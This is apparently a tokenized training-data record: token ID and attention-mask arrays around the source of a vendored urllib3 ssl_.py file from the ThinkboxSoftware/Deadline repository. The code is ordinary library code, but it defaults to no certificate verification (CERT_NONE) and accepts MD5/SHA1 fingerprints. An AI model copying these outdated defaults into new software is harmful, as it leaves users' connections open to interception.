32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1563, 3031, 4865, 1021, 1041, 421, 199, 533, 3523, 7035, 8447, 26, 272, 408, 272, 3523, 1021, 367, 3031, 4865, 12591, 14, 339, 20196, 1471, 737, 5210, 8970, 3222, 63, 3431, 1252, 339, 1551, 342, 436, 4002, 342, 883, 506, 2797, 19458, 590, 701, 1808, 282, 4865, 909, 465, 282, 272, 1067, 5256, 26, 10817, 543, 4865, 465, 1950, 26, 1779, 327, 886, 6020, 543, 1950, 1779, 986, 272, 408, 272, 347, 636, 826, 721, 277, 12, 2449, 63, 25163, 29, 797, 12, 1011, 958, 304, 267, 291, 14, 1633, 63, 25163, 275, 2449, 63, 25163, 339, 347, 1551, 8, 277, 304, 267, 408, 267, 3232, 282, 2784, 1950, 14, 398, 961, 1083, 883, 506, 20200, 701, 4865, 12591, 370, 267, 1551, 282, 2784, 1950, 14, 398, 2779, 1159, 1536, 370, 314, 4865, 4514, 370, 4426, 314, 2004, 402, 267, 282, 2784, 1950, 340, 652, 1159, 4346, 701, 314, 4865, 14, 398, 961, 1083, 883, 506, 2797, 701, 13103, 370, 3542, 282, 2849, 267, 2784, 1950, 370, 506, 1202, 1380, 10209, 6016, 83, 14, 1666, 314, 267, 3222, 63, 3431, 342, 1083, 402, 314, 19810, 4865, 367, 282, 3659, 267, 4514, 14, 398, 710, 849, 4514, 1630, 6548, 14, 267, 408, 267, 986, 339, 347, 4002, 8, 277, 304, 267, 408, 4724, 282, 2784, 1950, 1041, 267, 986, 339, 347, 636, 4200, 721, 277, 304, 267, 862, 26, 288, 291, 14, 1490, 342, 267, 871, 2186, 26, 288, 291, 14, 1600, 342, 288, 746, 267, 372, 291, 339, 347, 636, 2224, 721, 277, 12, 3178, 63, 466, 12, 3178, 63, 585, 12, 5190, 304, 267, 291, 14, 1600, 342, 339, 347, 3222, 63, 3431, 8, 277, 12, 3031, 63, 3431, 304, 267, 408, 267, 10217, 1373, 503, 1655, 11426, 2209, 2251, 436, 372, 314, 1329, 402, 3031, 267, 3788, 4847, 14, 267, 408, 267, 746, 4279, 360, 19094, 402, 3523, 7035, 8447, 1471, 4278, 3222, 63, 3431, 342, 1083, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ThinkboxSoftware/Deadline
Custom/events/Zabbix/API/requests/packages/urllib3/util/ssl_.py
1
4364
from binascii import hexlify, unhexlify from hashlib import md5, sha1 from ..exceptions import SSLError try: # Test for SSL features SSLContext = None HAS_SNI = False import ssl from ssl import wrap_socket, CERT_NONE, PROTOCOL_SSLv23 from ssl import SSLContext # Modern SSL? from ssl import HAS_SNI # Has SNI? except ImportError: pass def assert_fingerprint(cert, fingerprint): """ Checks if given fingerprint matches the supplied certificate. :param cert: Certificate as bytes object. :param fingerprint: Fingerprint as string of hexdigits, can be interspersed by colons. """ # Maps the length of a digest to a possible hash function producing # this digest. hashfunc_map = { 16: md5, 20: sha1 } fingerprint = fingerprint.replace(':', '').lower() digest_length, odd = divmod(len(fingerprint), 2) if odd or digest_length not in hashfunc_map: raise SSLError('Fingerprint is of invalid length.') # We need encode() here for py32; works on py2 and p33. fingerprint_bytes = unhexlify(fingerprint.encode()) hashfunc = hashfunc_map[digest_length] cert_digest = hashfunc(cert).digest() if not cert_digest == fingerprint_bytes: raise SSLError('Fingerprints did not match. Expected "{0}", got "{1}".' .format(hexlify(fingerprint_bytes), hexlify(cert_digest))) def resolve_cert_reqs(candidate): """ Resolves the argument to a numeric constant, which can be passed to the wrap_socket function/method from the ssl module. Defaults to :data:`ssl.CERT_NONE`. If given a string it is assumed to be the name of the constant in the :mod:`ssl` module or its abbrevation. (So you can specify `REQUIRED` instead of `CERT_REQUIRED`. If it's neither `None` nor a string we assume it is already the numeric constant which can directly be passed to wrap_socket. """ if candidate is None: return CERT_NONE if isinstance(candidate, str): res = getattr(ssl, candidate, None) if res is None: res = getattr(ssl, 'CERT_' + candidate) return res return candidate def resolve_ssl_version(candidate): """ like resolve_cert_reqs """ if candidate is None: return PROTOCOL_SSLv23 if isinstance(candidate, str): res = getattr(ssl, candidate, None) if res is None: res = getattr(ssl, 'PROTOCOL_' + candidate) return res return candidate if SSLContext is not None: # Python 3.2+ def ssl_wrap_socket(sock, keyfile=None, certfile=None, cert_reqs=None, ca_certs=None, server_hostname=None, ssl_version=None): """ All arguments except `server_hostname` have the same meaning as for :func:`ssl.wrap_socket` :param server_hostname: Hostname of the expected certificate """ context = SSLContext(ssl_version) context.verify_mode = cert_reqs # Disable TLS compression to migitate CRIME attack (issue #309) OP_NO_COMPRESSION = 0x20000 context.options |= OP_NO_COMPRESSION if ca_certs: try: context.load_verify_locations(ca_certs) # Py32 raises IOError # Py33 raises FileNotFoundError except Exception as e: # Reraise as SSLError raise SSLError(e) if certfile: # FIXME: This block needs a test. context.load_cert_chain(certfile, keyfile) if HAS_SNI: # Platform-specific: OpenSSL with enabled SNI return context.wrap_socket(sock, server_hostname=server_hostname) return context.wrap_socket(sock) else: # Python 3.1 and earlier def ssl_wrap_socket(sock, keyfile=None, certfile=None, cert_reqs=None, ca_certs=None, server_hostname=None, ssl_version=None): return wrap_socket(sock, keyfile=keyfile, certfile=certfile, ca_certs=ca_certs, cert_reqs=cert_reqs, ssl_version=ssl_version)
apache-2.0
[ 504, 14755, 492, 6318, 8209, 12, 625, 20677, 202, 199, 504, 8337, 492, 6128, 21, 12, 7793, 17, 2999, 199, 504, 2508, 3924, 492, 7799, 547, 8065, 199, 893, 26, 221, 327, 1379, 367, 7799, 4534, 1128, 7799, 2998, 275, 488, 1128, 7509, 63, 8199, 41, 275, 756, 2958, 492, 6149, 1128, 687, 6149, 492, 4816, 63, 3450, 12, 28313, 63, 9185, 12, 3611, 2566, 3978, 63, 21082, 1789, 1128, 687, 6149, 492, 7799, 2998, 221, 327, 4900, 11641, 7799, 31, 1128, 687, 6149, 492, 7509, 63, 8199, 41, 221, 327, 13481, 428, 16730, 31, 202, 199, 2590, 3545, 26, 1128, 986, 8065, 199, 318, 702, 63, 15077, 8, 4736, 12, 18020, 304, 1128, 408, 1128, 13813, 340, 1627, 18020, 4450, 314, 6841, 5897, 14, 2958, 520, 635, 6250, 26, 1039, 12904, 465, 2783, 909, 14, 1128, 520, 635, 18020, 26, 1039, 481, 9429, 465, 1059, 402, 6318, 7022, 12, 883, 506, 315, 878, 529, 939, 701, 1048, 4654, 14, 1128, 408, 2958, 327, 23673, 314, 2582, 402, 282, 10017, 370, 282, 3962, 2631, 805, 27955, 1128, 327, 642, 10017, 14, 1128, 2631, 1532, 63, 1130, 275, 469, 1039, 3193, 26, 6128, 21, 12, 1039, 3388, 26, 7793, 17, 1128, 789, 2958, 18020, 275, 18020, 14, 1814, 16451, 12548, 2325, 342, 1128, 10017, 63, 1267, 12, 16699, 275, 16438, 8, 552, 8, 15077, 395, 499, 9, 2958, 340, 16699, 503, 10017, 63, 1267, 440, 315, 2631, 1532, 63, 1130, 26, 1039, 746, 7799, 547, 360, 28521, 365, 402, 3866, 2582, 2659, 2958, 327, 2136, 1929, 3752, 342, 2348, 367, 1134, 708, 27, 5419, 641, 1134, 18, 436, 299, 1153, 14, 1128, 18020, 63, 2394, 275, 625, 20677, 8, 15077, 14, 2143, 1012, 2958, 2631, 1532, 275, 2631, 1532, 63, 1130, 59, 5671, 63, 1267, 61, 2958, 6250, 63, 5671, 275, 2631, 1532, 8, 4736, 680, 5671, 342, 2958, 340, 440, 6250, 63, 5671, 508, 18020, 63, 2394, 26, 1039, 746, 7799, 547, 360, 28521, 83, 8103, 440, 1336, 14, 13796, 5310, 16, 10750, 4788, 5310, 17, 5469, 7, 202, 2432, 1275, 908, 8, 20677, 8, 15077, 63, 2394, 395, 202, 3044, 6318, 8209, 8, 4736, 63, 5671, 1724, 8065, 199, 318, 7512, 63, 4736, 63, 12720, 8, 9007, 304, 1128, 408, 1128, 3591, 393, 2310, 314, 1423, 370, 282, 8950, 4413, 12, 1314, 883, 506, 3032, 370, 1128, 314, 4816, 63, 3450, 805, 15, 765, 687, 314, 6149, 859, 14, 1128, 7827, 370, 520, 576, 1705, 4266, 14, 11163, 63, 9185, 2313, 1128, 982, 1627, 282, 1059, 652, 365, 10826, 370, 506, 314, 536, 402, 314, 4413, 315, 314, 1128, 520, 1494, 1705, 4266, 64, 859, 503, 2399, 2236, 10205, 4255, 14, 1128, 334, 5158, 1265, 883, 4165, 658, 12496, 64, 3140, 402, 658, 11163, 63, 12496, 2313, 1128, 982, 652, 1159, 15564, 658, 403, 64, 6590, 282, 1059, 781, 5534, 652, 365, 2575, 314, 8950, 1128, 4413, 1314, 883, 5370, 506, 3032, 370, 4816, 63, 3450, 14, 1128, 408, 1128, 340, 7627, 365, 488, 26, 1039, 372, 28313, 63, 9185, 2958, 340, 1228, 8, 9007, 12, 620, 304, 1039, 522, 275, 2519, 8, 4266, 12, 7627, 12, 488, 9, 1039, 340, 522, 365, 488, 26, 1675, 522, 275, 2519, 8, 4266, 12, 283, 11163, 8650, 435, 7627, 9, 1039, 372, 522, 2958, 372, 7627, 8065, 199, 318, 7512, 63, 4266, 63, 1023, 8, 9007, 304, 1128, 408, 1128, 2839, 7512, 63, 4736, 63, 12720, 1128, 408, 1128, 340, 7627, 365, 488, 26, 1039, 372, 3611, 2566, 3978, 63, 21082, 1789, 2958, 340, 1228, 8, 9007, 12, 620, 304, 1039, 522, 275, 2519, 8, 4266, 12, 7627, 12, 488, 9, 1039, 340, 522, 365, 488, 26, 1675, 522, 275, 2519, 8, 4266, 12, 283, 9583, 8650, 435, 7627, 9, 1039, 372, 522, 2958, 372, 7627, 8065, 199, 692, 7799, 2998, 365, 440, 488, 26, 221, 327, 2018, 650, 14, 18, 11, 1128, 347, 6149, 63, 3823, 63, 3450, 8, 5096, 12, 25776, 29, 403, 12, 27660, 29, 403, 12, 6250, 63, 12720, 29, 403, 12, 8282, 1704, 63, 8356, 29, 403, 12, 1654, 63, 4269, 29, 403, 12, 8282, 6149, 63, 1023, 29, 403, 304, 1039, 408, 1039, 2900, 2368, 871, 658, 1000, 63, 4269, 64, 1172, 314, 2011, 11150, 465, 367, 1039, 520, 1532, 1705, 4266, 14, 3823, 63, 3450, 64, 4341, 520, 635, 1654, 63, 4269, 26, 1675, 10891, 354, 402, 314, 1420, 5897, 1039, 408, 1039, 1067, 275, 7799, 2998, 8, 4266, 63, 1023, 9, 1039, 1067, 14, 4712, 63, 632, 275, 6250, 63, 12720, 4341, 327, 17534, 12213, 10291, 370, 3952, 390, 323, 17101, 3465, 23326, 334, 5237, 327, 10556, 9, 1039, 9827, 63, 2826, 63, 30193, 275, 378, 88, 27140, 1039, 1067, 14, 1419, 8901, 9827, 63, 2826, 63, 30193, 4341, 340, 1704, 63, 8356, 26, 1675, 862, 26, 2628, 1067, 14, 912, 63, 4712, 63, 8022, 8, 696, 63, 8356, 9, 1675, 327, 1611, 708, 6534, 5925, 1675, 327, 1611, 1153, 6534, 3814, 10870, 1675, 871, 2186, 465, 325, 26, 221, 327, 820, 32311, 572, 465, 7799, 547, 2628, 746, 7799, 547, 8, 69, 9, 1039, 340, 27660, 26, 1675, 327, 7600, 26, 961, 1853, 4839, 282, 511, 14, 1675, 1067, 14, 912, 63, 4736, 63, 4429, 8, 28340, 12, 25776, 9, 1039, 340, 7509, 63, 8199, 41, 26, 221, 327, 16078, 13, 6100, 26, 14296, 543, 5223, 428, 16730, 1675, 372, 1067, 14, 3823, 63, 3450, 8, 5096, 12, 1654, 63, 4269, 29, 1000, 63, 4269, 9, 1039, 372, 1067, 14, 3823, 63, 3450, 8, 5096, 9, 2999, 199, 2836, 26, 221, 327, 2018, 650, 14, 17, 436, 14119, 1128, 347, 6149, 63, 3823, 63, 3450, 8, 5096, 12, 25776, 29, 403, 12, 27660, 29, 403, 12, 6250, 63, 12720, 29, 403, 12, 8282, 1704, 63, 8356, 29, 403, 12, 1654, 63, 4269, 29, 403, 12, 8282, 6149, 63, 1023, 29, 403, 304, 1039, 372, 4816, 63, 3450, 8, 5096, 12, 25776, 29, 21856, 12, 27660, 29, 28340, 12, 202, 2574, 1704, 63, 8356, 29, 696, 63, 8356, 12, 6250, 63, 12720, 29, 4736, 63, 12720, 12, 202, 2574, 6149, 63, 1023, 29, 4266, 63, 1023, 9, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 14755, 492, 6318, 8209, 12, 625, 20677, 202, 199, 504, 8337, 492, 6128, 21, 12, 7793, 17, 2999, 199, 504, 2508, 3924, 492, 7799, 547, 8065, 199, 893, 26, 221, 327, 1379, 367, 7799, 4534, 1128, 7799, 2998, 275, 488, 1128, 7509, 63, 8199, 41, 275, 756, 2958, 492, 6149, 1128, 687, 6149, 492, 4816, 63, 3450, 12, 28313, 63, 9185, 12, 3611, 2566, 3978, 63, 21082, 1789, 1128, 687, 6149, 492, 7799, 2998, 221, 327, 4900, 11641, 7799, 31, 1128, 687, 6149, 492, 7509, 63, 8199, 41, 221, 327, 13481, 428, 16730, 31, 202, 199, 2590, 3545, 26, 1128, 986, 8065, 199, 318, 702, 63, 15077, 8, 4736, 12, 18020, 304, 1128, 408, 1128, 13813, 340, 1627, 18020, 4450, 314, 6841, 5897, 14, 2958, 520, 635, 6250, 26, 1039, 12904, 465, 2783, 909, 14, 1128, 520, 635, 18020, 26, 1039, 481, 9429, 465, 1059, 402, 6318, 7022, 12, 883, 506, 315, 878, 529, 939, 701, 1048, 4654, 14, 1128, 408, 2958, 327, 23673, 314, 2582, 402, 282, 10017, 370, 282, 3962, 2631, 805, 27955, 1128, 327, 642, 10017, 14, 1128, 2631, 1532, 63, 1130, 275, 469, 1039, 3193, 26, 6128, 21, 12, 1039, 3388, 26, 7793, 17, 1128, 789, 2958, 18020, 275, 18020, 14, 1814, 16451, 12548, 2325, 342, 1128, 10017, 63, 1267, 12, 16699, 275, 16438, 8, 552, 8, 15077, 395, 499, 9, 2958, 340, 16699, 503, 10017, 63, 1267, 440, 315, 2631, 1532, 63, 1130, 26, 1039, 746, 7799, 547, 360, 28521, 365, 402, 3866, 2582, 2659, 2958, 327, 2136, 1929, 3752, 342, 2348, 367, 1134, 708, 27, 5419, 641, 1134, 18, 436, 299, 1153, 14, 1128, 18020, 63, 2394, 275, 625, 20677, 8, 15077, 14, 2143, 1012, 2958, 2631, 1532, 275, 2631, 1532, 63, 1130, 59, 5671, 63, 1267, 61, 2958, 6250, 63, 5671, 275, 2631, 1532, 8, 4736, 680, 5671, 342, 2958, 340, 440, 6250, 63, 5671, 508, 18020, 63, 2394, 26, 1039, 746, 7799, 547, 360, 28521, 83, 8103, 440, 1336, 14, 13796, 5310, 16, 10750, 4788, 5310, 17, 5469, 7, 202, 2432, 1275, 908, 8, 20677, 8, 15077, 63, 2394, 395, 202, 3044, 6318, 8209, 8, 4736, 63, 5671, 1724, 8065, 199, 318, 7512, 63, 4736, 63, 12720, 8, 9007, 304, 1128, 408, 1128, 3591, 393, 2310, 314, 1423, 370, 282, 8950, 4413, 12, 1314, 883, 506, 3032, 370, 1128, 314, 4816, 63, 3450, 805, 15, 765, 687, 314, 6149, 859, 14, 1128, 7827, 370, 520, 576, 1705, 4266, 14, 11163, 63, 9185, 2313, 1128, 982, 1627, 282, 1059, 652, 365, 10826, 370, 506, 314, 536, 402, 314, 4413, 315, 314, 1128, 520, 1494, 1705, 4266, 64, 859, 503, 2399, 2236, 10205, 4255, 14, 1128, 334, 5158, 1265, 883, 4165, 658, 12496, 64, 3140, 402, 658, 11163, 63, 12496, 2313, 1128, 982, 652, 1159, 15564, 658, 403, 64, 6590, 282, 1059, 781, 5534, 652, 365, 2575, 314, 8950, 1128, 4413, 1314, 883, 5370, 506, 3032, 370, 4816, 63, 3450, 14, 1128, 408, 1128, 340, 7627, 365, 488, 26, 1039, 372, 28313, 63, 9185, 2958, 340, 1228, 8, 9007, 12, 620, 304, 1039, 522, 275, 2519, 8, 4266, 12, 7627, 12, 488, 9, 1039, 340, 522, 365, 488, 26, 1675, 522, 275, 2519, 8, 4266, 12, 283, 11163, 8650, 435, 7627, 9, 1039, 372, 522, 2958, 372, 7627, 8065, 199, 318, 7512, 63, 4266, 63, 1023, 8, 9007, 304, 1128, 408, 1128, 2839, 7512, 63, 4736, 63, 12720, 1128, 408, 1128, 340, 7627, 365, 488, 26, 1039, 372, 3611, 2566, 3978, 63, 21082, 1789, 2958, 340, 1228, 8, 9007, 12, 620, 304, 1039, 522, 275, 2519, 8, 4266, 12, 7627, 12, 488, 9, 1039, 340, 522, 365, 488, 26, 1675, 522, 275, 2519, 8, 4266, 12, 283, 9583, 8650, 435, 7627, 9, 1039, 372, 522, 2958, 372, 7627, 8065, 199, 692, 7799, 2998, 365, 440, 488, 26, 221, 327, 2018, 650, 14, 18, 11, 1128, 347, 6149, 63, 3823, 63, 3450, 8, 5096, 12, 25776, 29, 403, 12, 27660, 29, 403, 12, 6250, 63, 12720, 29, 403, 12, 8282, 1704, 63, 8356, 29, 403, 12, 1654, 63, 4269, 29, 403, 12, 8282, 6149, 63, 1023, 29, 403, 304, 1039, 408, 1039, 2900, 2368, 871, 658, 1000, 63, 4269, 64, 1172, 314, 2011, 11150, 465, 367, 1039, 520, 1532, 1705, 4266, 14, 3823, 63, 3450, 64, 4341, 520, 635, 1654, 63, 4269, 26, 1675, 10891, 354, 402, 314, 1420, 5897, 1039, 408, 1039, 1067, 275, 7799, 2998, 8, 4266, 63, 1023, 9, 1039, 1067, 14, 4712, 63, 632, 275, 6250, 63, 12720, 4341, 327, 17534, 12213, 10291, 370, 3952, 390, 323, 17101, 3465, 23326, 334, 5237, 327, 10556, 9, 1039, 9827, 63, 2826, 63, 30193, 275, 378, 88, 27140, 1039, 1067, 14, 1419, 8901, 9827, 63, 2826, 63, 30193, 4341, 340, 1704, 63, 8356, 26, 1675, 862, 26, 2628, 1067, 14, 912, 63, 4712, 63, 8022, 8, 696, 63, 8356, 9, 1675, 327, 1611, 708, 6534, 5925, 1675, 327, 1611, 1153, 6534, 3814, 10870, 1675, 871, 2186, 465, 325, 26, 221, 327, 820, 32311, 572, 465, 7799, 547, 2628, 746, 7799, 547, 8, 69, 9, 1039, 340, 27660, 26, 1675, 327, 7600, 26, 961, 1853, 4839, 282, 511, 14, 1675, 1067, 14, 912, 63, 4736, 63, 4429, 8, 28340, 12, 25776, 9, 1039, 340, 7509, 63, 8199, 41, 26, 221, 327, 16078, 13, 6100, 26, 14296, 543, 5223, 428, 16730, 1675, 372, 1067, 14, 3823, 63, 3450, 8, 5096, 12, 1654, 63, 4269, 29, 1000, 63, 4269, 9, 1039, 372, 1067, 14, 3823, 63, 3450, 8, 5096, 9, 2999, 199, 2836, 26, 221, 327, 2018, 650, 14, 17, 436, 14119, 1128, 347, 6149, 63, 3823, 63, 3450, 8, 5096, 12, 25776, 29, 403, 12, 27660, 29, 403, 12, 6250, 63, 12720, 29, 403, 12, 8282, 1704, 63, 8356, 29, 403, 12, 1654, 63, 4269, 29, 403, 12, 8282, 6149, 63, 1023, 29, 403, 304, 1039, 372, 4816, 63, 3450, 8, 5096, 12, 25776, 29, 21856, 12, 27660, 29, 28340, 12, 202, 2574, 1704, 63, 8356, 29, 696, 63, 8356, 12, 6250, 63, 12720, 29, 4736, 63, 12720, 12, 202, 2574, 6149, 63, 1023, 29, 4266, 63, 1023, 9, 1223, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
